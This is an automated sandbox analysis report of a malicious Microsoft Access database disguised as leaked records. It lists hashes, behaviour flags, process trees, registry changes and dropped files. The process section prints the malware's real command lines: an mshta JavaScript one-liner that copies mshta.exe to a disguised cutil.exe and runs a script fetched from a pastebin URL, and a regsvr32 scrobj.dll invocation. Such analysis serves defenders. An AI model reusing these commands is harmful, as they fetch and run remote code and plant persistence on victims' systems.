File name:

Leaked_Records_15072019_Col.malware

Full analysis: https://app.any.run/tasks/62b0a7f2-e9f6-4199-bb6d-3bf5470a7210
Verdict: Malicious activity
Analysis date: July 17, 2019, 14:52:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-msaccess
File info: Microsoft Access Database
MD5:

BEFC603B7E59E0B739AE150FFC0CAD3A

SHA1:

4BF499C320E6806E877E68876A3BEB2ADA2A45AC

SHA256:

7C02D2F27147C49030C0619D1D313CFA24234F789E149B2E3D1478400496A32C

SSDEEP:

1536:DAQxNqc6lh3WHzVdGduAixBQdpdzdmdudJ:DAQxNqc6lsfkuAixAjJEcJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • MSACCESS.EXE (PID: 3736)

    • Application was dropped or rewritten from another process

      • mshta.exe (PID: 3408)
      • cutil.exe (PID: 2224)

    • Changes the autorun value in the registry

      • cutil.exe (PID: 2224)

  • SUSPICIOUS

    • Starts Microsoft Office Application

      • rundll32.exe (PID: 3540)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • MSACCESS.EXE (PID: 3736)

    • Starts itself from another location

      • mshta.exe (PID: 3408)

    • Creates files in the user directory

      • MSACCESS.EXE (PID: 3736)
      • cutil.exe (PID: 2224)

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 3408)
      • cutil.exe (PID: 2224)

    • Reads internet explorer settings

      • cutil.exe (PID: 2224)

  • INFO

    • Reads Microsoft Office registry keys

      • MSACCESS.EXE (PID: 3736)

    • Reads internet explorer settings

      • mshta.exe (PID: 3408)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.accdb | Microsoft Access 2007 Database (90.4)
.pi2 | DEGAS med-res bitmap (9.5)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
5
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start rundll32.exe no specs msaccess.exe mshta.exe cutil.exe regsvr32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2224"C:\Users\admin\AppData\Local\Microsoft\cutil.exe" javascript:eval(a=GetObject('script:https://pastebin.com/raw/viwSRB6M'));close();C:\Users\admin\AppData\Local\Microsoft\cutil.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\microsoft\cutil.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
3080"C:\Windows\System32\regsvr32.exe" /u /n /s /i:C:\Users\admin\AppData\Local\logs.tmp scrobj.dllC:\Windows\System32\regsvr32.exe—cutil.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
5
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3408"C:\Windows\System32\mshta.exe" javascript:eval(new%20ActiveXObject("Scripting.FileSystemObject").CopyFile%20("c:\\windows\\system32\\mshta.exe",%20new%20ActiveXObject("Wscript.Shell").ExpandEnvironmentStrings("%25userprofile%25")+"\\AppData\\Local\\Microsoft\\cutil.exe"));eval(new%20ActiveXObject("Wscript.Shell").Run(new%20ActiveXObject("Wscript.Shell").ExpandEnvironmentStrings("%25userprofile%25")+"\\AppData\\Local\\Microsoft\\cutil%20javascript:eval(a=GetObject('script:https://pastebin.com/raw/viwSRB6M'));close();"));close();C:\Windows\System32\mshta.exe
MSACCESS.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
3540"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\Leaked_Records_15072019_Col.malware.accdbC:\Windows\system32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
3736"C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE" /NOSTARTUP "C:\Users\admin\AppData\Local\Temp\Leaked_Records_15072019_Col.malware.accdb" C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Access
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\msaccess.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\shell32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
Total events
1 606
Read events
1 463
Write events
136
Delete events
7

Modification events

(PID) Process:(3540) rundll32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.accdb\OpenWithProgids
Operation:writeName:Access.Application.14
Value:
(PID) Process:(3540) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:LangID
Value:
0904
(PID) Process:(3540) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE
Value:
Microsoft Access
(PID) Process:(3540) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Value:
Adobe Acrobat Reader DC
(PID) Process:(3540) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\eHome\ehshell.exe
Value:
Windows Media Center
(PID) Process:(3540) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Internet Explorer\iexplore.exe
Value:
Internet Explorer
(PID) Process:(3540) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\system32\mspaint.exe
Value:
Paint
(PID) Process:(3540) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\system32\NOTEPAD.EXE
Value:
Notepad
(PID) Process:(3540) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\PROGRA~1\MICROS~1\Office14\OIS.EXE
Value:
Microsoft Office 2010
(PID) Process:(3540) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Opera\Opera.exe
Value:
Opera Internet Browser
Executable files
2
Suspicious files
0
Text files
3
Unknown types
2

Dropped files

PID
Process
Filename
Type
3736MSACCESS.EXEC:\Users\admin\AppData\Local\Temp\CVRF7DD.tmp.cvr —
MD5:—
SHA256:—
3408mshta.exeC:\Users\admin\AppData\Local\Microsoft\cutil.exeexecutable
MD5:—
SHA256:—
3736MSACCESS.EXEC:\Users\admin\AppData\Local\Temp\Database.lnklnk
MD5:—
SHA256:—
2224cutil.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\viwSRB6M[1].txtxml
MD5:—
SHA256:—
2224cutil.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:—
SHA256:—
2224cutil.exeC:\Users\admin\AppData\Local\temp.tmpexecutable
MD5:—
SHA256:—
3736MSACCESS.EXEC:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdwmdw
MD5:—
SHA256:—
2224cutil.exeC:\Users\admin\AppData\Local\logs.tmptext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2224
cutil.exe
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
malicious

Threats

No threats detected
Process
Message
MSACCESS.EXE
C:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdw
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Reports
Leaked_Records_15072019_Col.malware